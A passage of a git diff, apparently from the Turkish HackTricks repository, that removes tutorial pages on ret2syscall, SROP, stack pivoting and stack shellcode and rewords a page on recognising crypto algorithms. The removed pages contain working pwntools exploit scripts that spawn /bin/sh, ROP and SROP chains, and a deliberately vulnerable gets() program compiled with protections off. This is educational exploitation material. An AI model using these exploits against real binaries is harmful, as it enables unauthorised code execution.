Ret2lib'e benzer ancak bu durumda akış esas olarak EBP adresleri ile kontrol edilir (ancak EIP'yi kontrol etmek de gereklidir). - -{{#ref}} -stack-pivoting-ebp2ret-ebp-chaining.md -{{#endref}} - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-syscall-execv.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-syscall-execv.md deleted file mode 100644 index 9f1003214..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-syscall-execv.md +++ /dev/null @@ -1,185 +0,0 @@ -# Ret2syscall - -{{#include ../../../banners/hacktricks-training.md}} - -## Temel Bilgiler - -Bu, Ret2lib'e benzer, ancak bu durumda bir kütüphaneden bir fonksiyon çağırmayacağız. Bu durumda, her şey `/bin/sh`'yi çalıştırmak için bazı argümanlarla `sys_execve` sistem çağrısını çağırmak üzere hazırlanacak. Bu teknik genellikle statik olarak derlenmiş ikili dosyalar üzerinde gerçekleştirilir, bu nedenle birçok gadget ve sistem çağrısı talimatı olabilir. - -**syscall** çağrısını hazırlamak için aşağıdaki yapılandırma gereklidir: - -- `rax: 59 sys_execve'yi belirt` -- `rdi: "/bin/sh" dosyasını çalıştırmak için işaretçi` -- `rsi: 0 argüman geçmediğini belirt` -- `rdx: 0 ortam değişkeni geçmediğini belirt` - -Yani, temelde `/bin/sh` dizesini bir yere yazmak ve ardından `syscall`'ı gerçekleştirmek gerekiyor (stack'i kontrol etmek için gereken padding'i göz önünde bulundurarak). Bunun için, `/bin/sh`'yi bilinen bir alana yazmak için bir gadget'a ihtiyacımız var. - -> [!TIP] -> Çağrılacak başka ilginç bir sistem çağrısı **`mprotect`**'dir; bu, bir saldırganın **bellekteki bir sayfanın izinlerini değiştirmesine** olanak tanır. Bu, [ret2shellcode](stack-shellcode.md) ile birleştirilebilir. - -## Register gadget'ları - -**Bu register'ları nasıl kontrol edeceğimizi** bulmaya başlayalım: -```c -ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret" -0x0000000000415664 : pop rax ; ret -0x0000000000400686 : pop rdi ; ret -0x00000000004101f3 : pop rsi ; ret -0x00000000004498b5 : pop rdx ; ret -``` -Bu adreslerle **stack'teki içeriği yazmak ve bunu register'lara yüklemek** mümkündür. - -## Dize yaz - -### Yazılabilir bellek - -Öncelikle bellek içinde yazılabilir bir yer bulmanız gerekiyor. -```bash -gef> vmmap -[ Legend: Code | Heap | Stack ] -Start End Offset Perm Path -0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001 -0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001 -0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap] -``` -### Belleğe Dize Yaz - -Sonra bu adrese rastgele içerik yazmanın bir yolunu bulmalısınız. -```bash -ROPgadget --binary speedrun-001 | grep " : mov qword ptr \[" -mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx -``` -### ROP zincirini otomatikleştir - -Aşağıdaki komut, yazma-nerede-ne yazma gadget'ları ve syscall talimatları olduğunda, statik bir ikili dosya verildiğinde tam bir `sys_execve` ROP zinciri oluşturur: -```bash -ROPgadget --binary vuln --ropchain -``` -#### 32 bit -```python -''' -Lets write "/bin/sh" to 0x6b6000 - -pop rdx, 0x2f62696e2f736800 -pop rax, 0x6b6000 -mov qword ptr [rax], rdx -''' - -rop += popRdx # place value into EAX -rop += "/bin" # 4 bytes at a time -rop += popRax # place value into edx -rop += p32(0x6b6000) # Writable memory -rop += writeGadget #Address to: mov qword ptr [rax], rdx - -rop += popRdx -rop += "//sh" -rop += popRax -rop += p32(0x6b6000 + 4) -rop += writeGadget -``` -#### 64 bit -```python -''' -Lets write "/bin/sh" to 0x6b6000 - -pop rdx, 0x2f62696e2f736800 -pop rax, 0x6b6000 -mov qword ptr [rax], rdx -''' -rop = '' -rop += popRdx -rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end -rop += popRax -rop += p64(0x6b6000) # Writable memory -rop += writeGadget #Address to: mov qword ptr [rax], rdx -``` -## Gadget Eksikliği - -Eğer **gadget eksikliğiniz** varsa, örneğin `/bin/sh`'yi belleğe yazmak için, yığından tüm kayıt değerlerini (RIP ve parametre kayıtları dahil) kontrol etmek için **SROP tekniğini** kullanabilirsiniz: - -{{#ref}} -srop-sigreturn-oriented-programming.md -{{#endref}} - -vDSO bölgesinde, kullanıcı modundan çekirdek moduna geçmek için kullanılan gadget'lar olabilir. Bu tür zorluklarda genellikle vDSO bölgesini dökmek için bir çekirdek görüntüsü sağlanır. - -## Sömürü Örneği -```python -from pwn import * - -target = process('./speedrun-001') -#gdb.attach(target, gdbscript = 'b *0x400bad') - -# Establish our ROP Gadgets -popRax = p64(0x415664) -popRdi = p64(0x400686) -popRsi = p64(0x4101f3) -popRdx = p64(0x4498b5) - -# 0x000000000048d251 : mov qword ptr [rax], rdx ; ret -writeGadget = p64(0x48d251) - -# Our syscall gadget -syscall = p64(0x40129c) - -''' -Here is the assembly equivalent for these blocks -write "/bin/sh" to 0x6b6000 - -pop rdx, 0x2f62696e2f736800 -pop rax, 0x6b6000 -mov qword ptr [rax], rdx -''' -rop = '' -rop += popRdx -rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end -rop += popRax -rop += p64(0x6b6000) -rop += writeGadget - -''' -Prep the four registers with their arguments, and make the syscall - -pop rax, 0x3b -pop rdi, 0x6b6000 -pop rsi, 0x0 -pop rdx, 0x0 - -syscall -''' - -rop += popRax -rop += p64(0x3b) - -rop += popRdi -rop += p64(0x6b6000) - -rop += popRsi -rop += p64(0) -rop += popRdx -rop += p64(0) - -rop += syscall - - -# Add the padding to the saved return address -payload = "0"*0x408 + rop - -# Send the payload, drop to an interactive shell to use our new shell -target.sendline(payload) - -target.interactive() -``` -## Diğer Örnekler ve Referanslar - -- [https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html) -- 64 bit, PIE yok, nx, `execve` çağırmak için bellekte bir ROP yazın ve oraya atlayın. -- [https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html) -- 64 bit, nx, PIE yok, `execve` çağırmak için bellekte bir ROP yazın ve oraya atlayın. Yığın üzerinde matematiksel işlemler gerçekleştiren bir fonksiyon istismar edilmektedir. -- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html) -- 64 bit, PIE yok, nx, BF canary, `execve` çağırmak için bellekte bir ROP yazın ve oraya atlayın. -- [https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/) -- 32 bit, ASLR yok, ROP gadget'ları bulmak ve `execve` çağırmak için vDSO kullanın. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/srop-sigreturn-oriented-programming.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/srop-sigreturn-oriented-programming.md deleted file mode 100644 index 83f110889..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/srop-sigreturn-oriented-programming.md +++ /dev/null @@ -1,62 +0,0 @@ -# SROP - Sigreturn-Oriented Programming - -{{#include ../../../banners/hacktricks-training.md}} - -## Temel Bilgiler - -**`Sigreturn`**, bir sinyal işleyicisinin yürütmesini tamamladıktan sonra temizlemek için kullanılan özel bir **syscall**'dır. Sinyaller, işletim sistemi tarafından bir programa gönderilen kesintilerdir ve genellikle olağanüstü bir durumun meydana geldiğini belirtmek için kullanılır. Bir program bir sinyal aldığında, sinyali işlemek için geçici olarak mevcut işini durdurur ve bu işlem için özel olarak tasarlanmış bir **sinyal işleyici** kullanır. - -Sinyal işleyici tamamlandıktan sonra, programın **önceki durumuna geri dönmesi** gerekir, sanki hiçbir şey olmamış gibi. İşte bu noktada **`sigreturn`** devreye girer. Programın **sinyal işleyicisinden dönmesine** yardımcı olur ve sinyal işleyici tarafından kullanılan yığın çerçevesini (fonksiyon çağrılarını ve yerel değişkenleri depolayan bellek bölümü) temizleyerek programın durumunu geri yükler. - -İlginç olan, **`sigreturn`**'ın programın durumunu nasıl geri yüklediğidir: **tüm CPU'nun kayıt değerlerini yığında saklayarak** bunu yapar. Sinyal artık engellenmediğinde, **`sigreturn` bu değerleri yığından çıkarır**, böylece CPU'nun kayıtlarını sinyal işlenmeden önceki durumuna sıfırlar. Bu, yığının mevcut üst kısmını gösteren yığın işaretçi kaydı (RSP) dahil olmak üzere tüm kayıtları içerir. - -> [!CAUTION] -> Bir ROP zincirinden **`sigreturn`** syscall'ını çağırmak ve **yüklemek istediğimiz kayıt değerlerini** **yığa** eklemek, tüm kayıt değerlerini **kontrol etmemizi** ve dolayısıyla örneğin `execve` syscall'ını `/bin/sh` ile **çağırmamızı** mümkün kılar. - -Bunun, diğer Ret2syscall'ları çağırmak için parametreleri kontrol etmeyi çok daha kolay hale getiren bir **Ret2syscall türü** olduğunu unutmayın: - -{{#ref}} -rop-syscall-execv.md -{{#endref}} - -Daha iyi bir açıklama için ayrıca kontrol edin: - -{{#ref}} -https://youtu.be/ADULSwnQs-s?feature=shared -{{#endref}} - -## Örnek - -[**Burada bir örnek bulabilirsiniz**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop), ancak buradan son exploit budur: -```python -from pwn import * - -elf = context.binary = ELF('./vuln', checksec=False) -p = process() - -BINSH = elf.address + 0x1250 -POP_RAX = 0x41018 -SYSCALL_RET = 0x41015 - -frame = SigreturnFrame() -frame.rax = 0x3b # syscall number for execve -frame.rdi = BINSH # pointer to /bin/sh -frame.rsi = 0x0 # NULL -frame.rdx = 0x0 # NULL -frame.rip = SYSCALL_RET - -payload = b'A' * 8 -payload += p64(POP_RAX) -payload += p64(0xf) -payload += p64(SYSCALL_RET) -payload += bytes(frame) - -p.sendline(payload) -p.interactive() -``` -## Referanslar - -- [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared) -- [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md deleted file mode 100644 index 10d2680b0..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md +++ /dev/null @@ -1,178 +0,0 @@ -# Stack Pivoting - EBP2Ret - EBP chaining - -{{#include ../../../banners/hacktricks-training.md}} - -## Temel Bilgiler - -Bu teknik, **Base Pointer (EBP)**'yi manipüle etme yeteneğinden yararlanarak, EBP kaydının dikkatli kullanımı ve `leave; ret` talimat dizisi aracılığıyla birden fazla işlevin yürütülmesini zincirleme imkanı sağlar. - -Hatırlatmak gerekirse, **`leave`** temelde şunu ifade eder: -``` -mov esp, ebp -pop ebp -ret -``` -Ve **EBP yığında** EIP'den önce olduğu için, yığını kontrol ederek bunu kontrol etmek mümkündür. - -### EBP2Ret - -Bu teknik, **EBP kaydını değiştirebildiğiniz ancak EIP kaydını doğrudan değiştirme yolunuzun olmadığı** durumlarda özellikle faydalıdır. Fonksiyonların çalışmayı bitirdiğinde gösterdiği davranışı kullanır. - -Eğer `fvuln`'ın çalışması sırasında, yığında shellcode'unuzun adresine işaret eden bir **sahte EBP** enjekte etmeyi başarırsanız (artı `pop` işlemi için 4 byte ekleyerek), EIP'yi dolaylı olarak kontrol edebilirsiniz. `fvuln` dönerken, ESP bu hazırlanmış konuma ayarlanır ve sonraki `pop` işlemi ESP'yi 4 azaltır, **etkili bir şekilde orada saldırgan tarafından saklanan bir adrese işaret eder.**\ -İki adresi **bilmeniz gerektiğini unutmayın**: ESP'nin gideceği adres ve ESP'nin işaret ettiği adresi yazmanız gereken yer. - -#### Exploit Yapısı - -Öncelikle, **rastgele veri/adres yazabileceğiniz bir adresi bilmeniz gerekir**. ESP buraya işaret edecek ve **ilk `ret`** çalıştırılacak. - -Sonra, **rastgele kodu çalıştıracak** `ret` tarafından kullanılan adresi bilmeniz gerekir. Şunları kullanabilirsiniz: - -- Geçerli bir [**ONE_GADGET**](https://github.com/david942j/one_gadget) adresi. -- **`system()`** adresi, ardından **4 gereksiz byte** ve `"/bin/sh"` adresi (x86 bitleri). -- **`jump esp;`** gadget'ının adresi ([**ret2esp**](ret2esp-ret2reg.md)) ardından çalıştırılacak **shellcode**. -- Bazı [**ROP**](rop-return-oriented-programing.md) zincirleri. - -Kontrollü bellek kısmındaki bu adreslerin önünde **`4` byte** olmalıdır çünkü **`pop`** kısmı `leave` talimatının gereğidir. Bu 4B'yi, **ikinci sahte EBP** ayarlamak ve yürütmeyi kontrol etmeye devam etmek için kötüye kullanmak mümkündür. - -#### Off-By-One Exploit - -Bu tekniğin "Off-By-One Exploit" olarak bilinen özel bir varyantı vardır. **EBP'nin en az anlamlı byte'ını yalnızca değiştirebildiğiniz** durumlarda kullanılır. Böyle bir durumda, **`ret`** ile atlanacak adresi saklayan bellek konumu, EBP ile ilk üç byte'ı paylaşmalıdır, bu da daha kısıtlı koşullarla benzer bir manipülasyona izin verir. - -### **EBP Zincirleme** - -Bu nedenle, yığın üzerindeki `EBP` girişine kontrol edilen bir adres koyarak ve `EIP`'de `leave; ret` adresi koyarak, **`ESP`'yi yığın üzerinden kontrol edilen `EBP` adresine taşımak mümkündür**. - -Artık, **`ESP`** istenen bir adrese işaret ediyor ve yürütülecek bir sonraki talimat bir `RET`. Bunu kötüye kullanmak için, kontrol edilen ESP yerine şunları yerleştirmek mümkündür: - -- **`&(next fake EBP)`** -> `leave` talimatından `pop ebp` nedeniyle yeni EBP'yi yükle -- **`system()`** -> `ret` tarafından çağrılır -- **`&(leave;ret)`** -> sistem sona erdikten sonra çağrılır, ESP'yi sahte EBP'ye taşır ve tekrar başlar -- **`&("/bin/sh")`**-> `system` için parametre - -Temelde bu şekilde, programın akışını kontrol etmek için birkaç sahte EBP'yi zincirlemek mümkündür. - -Bu, bir [ret2lib](ret2lib/index.html) gibidir, ancak görünür bir faydası olmadan daha karmaşıktır, ancak bazı kenar durumlarında ilginç olabilir. - -Ayrıca, bu tekniği bir **yığın sızıntısı** ile kazanan bir fonksiyonu çağırmak için kullanan bir [**challenge örneği**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) var. Bu sayfanın son yükü: -```python -from pwn import * - -elf = context.binary = ELF('./vuln') -p = process() - -p.recvuntil('to: ') -buffer = int(p.recvline(), 16) -log.success(f'Buffer: {hex(buffer)}') - -LEAVE_RET = 0x40117c -POP_RDI = 0x40122b -POP_RSI_R15 = 0x401229 - -payload = flat( -0x0, # rbp (could be the address of anoter fake RBP) -POP_RDI, -0xdeadbeef, -POP_RSI_R15, -0xdeadc0de, -0x0, -elf.sym['winner'] -) - -payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP) - -payload += flat( -buffer, # Load leak address in RBP -LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it -) - -pause() -p.sendline(payload) -print(p.recvline()) -``` -## EBP işe yaramaz - -As [**explained in this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), eğer bir ikili dosya bazı optimizasyonlarla derlenmişse, **EBP asla ESP'yi kontrol edemez**, bu nedenle EBP'yi kontrol ederek çalışan herhangi bir istismar temelde başarısız olur çünkü gerçek bir etkisi yoktur.\ -Bu, **prolog ve epilog değişiklikleri** ikili dosya optimize edildiğinde gerçekleşir. - -- **Optimize edilmemiş:** -```bash -push %ebp # save ebp -mov %esp,%ebp # set new ebp -sub $0x100,%esp # increase stack size -. -. -. -leave # restore ebp (leave == mov %ebp, %esp; pop %ebp) -ret # return -``` -- **Optimize edilmiş:** -```bash -push %ebx # save ebx -sub $0x100,%esp # increase stack size -. -. -. -add $0x10c,%esp # reduce stack size -pop %ebx # restore ebx -ret # return -``` -## RSP'yi Kontrol Etmenin Diğer Yolları - -### **`pop rsp`** gadget - -[**Bu sayfada**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) bu tekniği kullanan bir örnek bulabilirsiniz. Bu zorluk için 2 belirli argümanla bir fonksiyon çağrılması gerekiyordu ve bir **`pop rsp` gadget** vardı ve **stack'ten bir leak** vardı: -```python -# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp -# This version has added comments - -from pwn import * - -elf = context.binary = ELF('./vuln') -p = process() - -p.recvuntil('to: ') -buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user -log.success(f'Buffer: {hex(buffer)}') - -POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret -POP_RDI = 0x40122b -POP_RSI_R15 = 0x401229 # pop RSI and R15 - -# The payload starts -payload = flat( -0, # r13 -0, # r14 -0, # r15 -POP_RDI, -0xdeadbeef, -POP_RSI_R15, -0xdeadc0de, -0x0, # r15 -elf.sym['winner'] -) - -payload = payload.ljust(104, b'A') # pad to 104 - -# Start popping RSP, this moves the stack to the leaked address and -# continues the ROP chain in the prepared payload -payload += flat( -POP_CHAIN, -buffer # rsp -) - -pause() -p.sendline(payload) -print(p.recvline()) -``` -### xchg \, rsp gadget -``` -pop <=== return pointer - -xchg , rsp -``` -## Referanslar - -- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/) -- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md deleted file mode 100644 index 0e5ddd72f..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md +++ /dev/null @@ -1,89 +0,0 @@ -# Stack Shellcode - -{{#include ../../../banners/hacktricks-training.md}} - -## Temel Bilgiler - -**Stack shellcode**, bir saldırganın bir zayıf programın yığınında shellcode yazdığı ve ardından **Instruction Pointer (IP)** veya **Extended Instruction Pointer (EIP)**'yi bu shellcode'un konumuna işaret edecek şekilde değiştirdiği ikili istismar tekniğidir. Bu, yetkisiz erişim sağlamak veya hedef sistemde rastgele komutlar çalıştırmak için kullanılan klasik bir yöntemdir. İşte sürecin bir dökümü, basit bir C örneği ve bununla birlikte **pwntools** kullanarak nasıl bir istismar yazabileceğinize dair bilgiler. - -### C Örneği: Zayıf Bir Program - -Basit bir zayıf C programı örneğiyle başlayalım: -```c -#include -#include - -void vulnerable_function() { -char buffer[64]; -gets(buffer); // Unsafe function that does not check for buffer overflow -} - -int main() { -vulnerable_function(); -printf("Returned safely\n"); -return 0; -} -``` -Bu program, `gets()` fonksiyonunun kullanımı nedeniyle bir buffer overflow'a karşı savunmasızdır. - -### Derleme - -Bu programı çeşitli korumaları devre dışı bırakarak (savunmasız bir ortam simüle etmek için) derlemek için aşağıdaki komutu kullanabilirsiniz: -```sh -gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c -``` -- `-fno-stack-protector`: Yığın korumasını devre dışı bırakır. -- `-z execstack`: Yığını çalıştırılabilir hale getirir, bu da yığında saklanan shellcode'un çalıştırılması için gereklidir. -- `-no-pie`: Konum Bağımsız Yürütülebilir'i devre dışı bırakır, bu da shellcode'un bulunacağı bellek adresini tahmin etmeyi kolaylaştırır. -- `-m32`: Programı 32-bit yürütülebilir olarak derler, genellikle istismar geliştirmede basitlik için kullanılır. - -### Python Exploit using Pwntools - -İşte **pwntools** kullanarak **ret2shellcode** saldırısı gerçekleştirmek için Python'da bir exploit yazmanın yolu: -```python -from pwn import * - -# Set up the process and context -binary_path = './vulnerable' -p = process(binary_path) -context.binary = binary_path -context.arch = 'i386' # Specify the architecture - -# Generate the shellcode -shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell - -# Find the offset to EIP -offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash - -# Prepare the payload -# The NOP slide helps to ensure that the execution flow hits the shellcode. -nop_slide = asm('nop') * (offset - len(shellcode)) -payload = nop_slide + shellcode -payload += b'A' * (offset - len(payload)) # Adjust the payload size to exactly fill the buffer and overwrite EIP -payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide - -# Send the payload -p.sendline(payload) -p.interactive() -``` -Bu script, bir **NOP slide**, **shellcode** ve ardından **EIP**'yi NOP slide'ına işaret eden adresle yazan bir payload oluşturur, böylece shellcode'un çalıştırılmasını sağlar. - -**NOP slide** (`asm('nop')`), yürütmenin tam adrese bakılmaksızın shellcode'umuza "kayma" şansını artırmak için kullanılır. `p32()` argümanını, buffer'ınızın başlangıç adresine artı bir offset ekleyerek NOP slide'ına ulaşacak şekilde ayarlayın. - -## Koruma Önlemleri - -- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **devre dışı bırakılmalıdır** ki adres, yürütmeler arasında güvenilir olsun veya fonksiyonun saklanacağı adres her zaman aynı olmayacak ve win fonksiyonunun nerede yüklü olduğunu anlamak için bir leak'e ihtiyacınız olacak. -- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html) da devre dışı bırakılmalıdır yoksa ele geçirilmiş EIP dönüş adresi asla takip edilmeyecektir. -- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** koruması, stack içindeki shellcode'un çalıştırılmasını engeller çünkü o bölge çalıştırılabilir olmayacaktır. - -## Diğer Örnekler ve Referanslar - -- [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode) -- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html) -- 64bit, stack adres leak ile ASLR, shellcode yaz ve ona atla -- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html) -- 32 bit, stack leak ile ASLR, shellcode yaz ve ona atla -- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html) -- 32 bit, stack leak ile ASLR, exit() çağrısını önlemek için karşılaştırma yap, bir değişkeni bir değerle yaz ve shellcode yaz ve ona atla - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing/cryptographic-algorithms/README.md b/src/reversing/cryptographic-algorithms/README.md index 8ff2789df..2afbb3030 100644 --- a/src/reversing/cryptographic-algorithms/README.md +++ b/src/reversing/cryptographic-algorithms/README.md @@ -1,12 +1,10 @@ # Kriptografik/Sıkıştırma Algoritmaları -## Kriptografik/Sıkıştırma Algoritmaları - {{#include ../../banners/hacktricks-training.md}} ## Algoritmaları Tanımlama -Eğer bir kod **sağa ve sola kaydırma, XOR ve çeşitli aritmetik işlemler** kullanıyorsa, bunun bir **kriptografik algoritmanın** uygulanması olması oldukça olasıdır. Burada, **her adımı tersine çevirmeden kullanılan algoritmayı tanımlamanın bazı yolları** gösterilecektir. +Eğer bir kod **sağ ve sol kaydırmalar, XOR'lar ve çeşitli aritmetik işlemler** kullanıyorsa, bunun bir **kriptografik algoritmanın** uygulanması olması oldukça olasıdır. Burada, **her adımı tersine çevirmeye gerek kalmadan kullanılan algoritmayı tanımlamanın bazı yolları** gösterilecektir. ### API fonksiyonları @@ -16,7 +14,7 @@ Bu fonksiyon kullanılıyorsa, ikinci parametrenin değerini kontrol ederek hang ![](<../../images/image (375) (1) (1) (1) (1).png>) -Olası algoritmalar ve atanan değerleri için buradaki tabloya bakın: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) +Olası algoritmalar ve atanan değerleri için buraya bakın: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) **RtlCompressBuffer/RtlDecompressBuffer** @@ -33,7 +31,7 @@ Bir veri akışının hash'ini başlatır. Bu fonksiyon kullanılıyorsa, ikinci ![](<../../images/image (376).png>) \ -Olası algoritmalar ve atanan değerleri için buradaki tabloya bakın: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) +Olası algoritmalar ve atanan değerleri için buraya bakın: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) ### Kod sabitleri @@ -41,17 +39,17 @@ Bazen, bir algoritmayı tanımlamak gerçekten kolaydır çünkü özel ve benze ![](<../../images/image (370).png>) -Eğer ilk sabiti Google'da aratırsanız, bu sonucu alırsınız: +Eğer ilk sabiti Google'da ararsanız, bu sonucu alırsınız: ![](<../../images/image (371).png>) -Bu nedenle, dekompile edilmiş fonksiyonun bir **sha256 hesaplayıcı** olduğunu varsayabilirsiniz.\ -Diğer sabitlerden herhangi birini aratabilir ve (muhtemelen) aynı sonucu elde edersiniz. +Bu nedenle, decompile edilmiş fonksiyonun bir **sha256 hesaplayıcı** olduğunu varsayabilirsiniz.\ +Diğer sabitlerden herhangi birini arayabilir ve (muhtemelen) aynı sonucu elde edersiniz. ### veri bilgisi Eğer kodda herhangi bir önemli sabit yoksa, bu **.data bölümünden bilgi yüklüyor olabilir**.\ -Bu veriye erişebilir, **ilk dword'u gruplandırabilir** ve daha önceki bölümde yaptığımız gibi Google'da aratabilirsiniz: +Bu veriye erişebilir, **ilk dword'u gruplandırabilir** ve önceki bölümde yaptığımız gibi Google'da arama yapabilirsiniz: ![](<../../images/image (372).png>) @@ -64,13 +62,13 @@ Bu durumda, eğer **0xA56363C6**'yı ararsanız, bunun **AES algoritmasının ta 3 ana bölümden oluşur: - **Başlatma aşaması/**: **0x00'dan 0xFF'e kadar değerler içeren bir tablo oluşturur** (toplam 256 bayt, 0x100). Bu tablo genellikle **Yer Değiştirme Kutusu** (veya SBox) olarak adlandırılır. -- **Karıştırma aşaması**: Daha önce oluşturulan tabloyu **döngü ile geçer** (0x100 yineleme döngüsü) ve her değeri **yarı rastgele** baytlarla değiştirir. Bu yarı rastgele baytları oluşturmak için RC4 **anahtarı kullanılır**. RC4 **anahtarları** **1 ile 256 bayt arasında** olabilir, ancak genellikle 5 bayttan fazla olması önerilir. Genellikle, RC4 anahtarları 16 bayt uzunluğundadır. -- **XOR aşaması**: Son olarak, düz metin veya şifreli metin, **önceki değerlerle XOR'lanır**. Şifreleme ve şifre çözme fonksiyonu aynıdır. Bunun için, oluşturulan 256 baytlık bir **döngü, gerekli olduğu kadar** gerçekleştirilecektir. Bu genellikle dekompile edilmiş kodda **%256 (mod 256)** ile tanınır. +- **Karıştırma aşaması**: Önceden oluşturulan tabloyu **döngüye alır** (0x100 yineleme döngüsü) ve her değeri **yarı rastgele** baytlarla değiştirir. Bu yarı rastgele baytları oluşturmak için RC4 **anahtarı kullanılır**. RC4 **anahtarları** **1 ile 256 bayt arasında** olabilir, ancak genellikle 5 bayttan fazla olması önerilir. Genellikle, RC4 anahtarları 16 bayt uzunluğundadır. +- **XOR aşaması**: Son olarak, düz metin veya şifreli metin, **önceden oluşturulan değerlerle XOR'lanır**. Şifreleme ve şifre çözme fonksiyonu aynıdır. Bunun için, oluşturulan 256 bayt üzerinden gerekli olduğu kadar döngü yapılacaktır. Bu genellikle decompile edilmiş kodda **%256 (mod 256)** ile tanınır. -> [!NOTE] -> **Bir deşifreleme/dekompile edilmiş kodda bir RC4'ü tanımlamak için, 0x100 boyutunda 2 döngü kontrol edebilir ve ardından giriş verilerinin 2 döngüde oluşturulan 256 değerle XOR'lanmasını kontrol edebilirsiniz, muhtemelen bir %256 (mod 256) kullanarak.** +> [!TIP] +> **Bir disassembly/decompile edilmiş kodda RC4'ü tanımlamak için, 0x100 boyutunda 2 döngü kontrol edebilir ve ardından giriş verilerinin 2 döngüde oluşturulan 256 değerle XOR'lanmasını, muhtemelen bir %256 (mod 256) kullanarak kontrol edebilirsiniz.** -### **Başlatma aşaması/Yer Değiştirme Kutusu:** (Sayac olarak kullanılan 256 sayısını ve 256 karakterin her yerinde nasıl 0 yazıldığını not edin) +### **Başlatma aşaması/Yer Değiştirme Kutusu:** (Sayacın olarak kullanılan 256 sayısına ve 256 karakterin her yerinde 0 yazılmasına dikkat edin) ![](<../../images/image (377).png>) @@ -99,20 +97,20 @@ Bu durumda, eğer **0xA56363C6**'yı ararsanız, bunun **AES algoritmasının ta ### Özellikler - Bunu kullanan bazı kötü amaçlı yazılımlar bulmak nadirdir ama örnekler vardır (Ursnif) -- Bir algoritmanın Serpent olup olmadığını belirlemek basittir, uzunluğuna (son 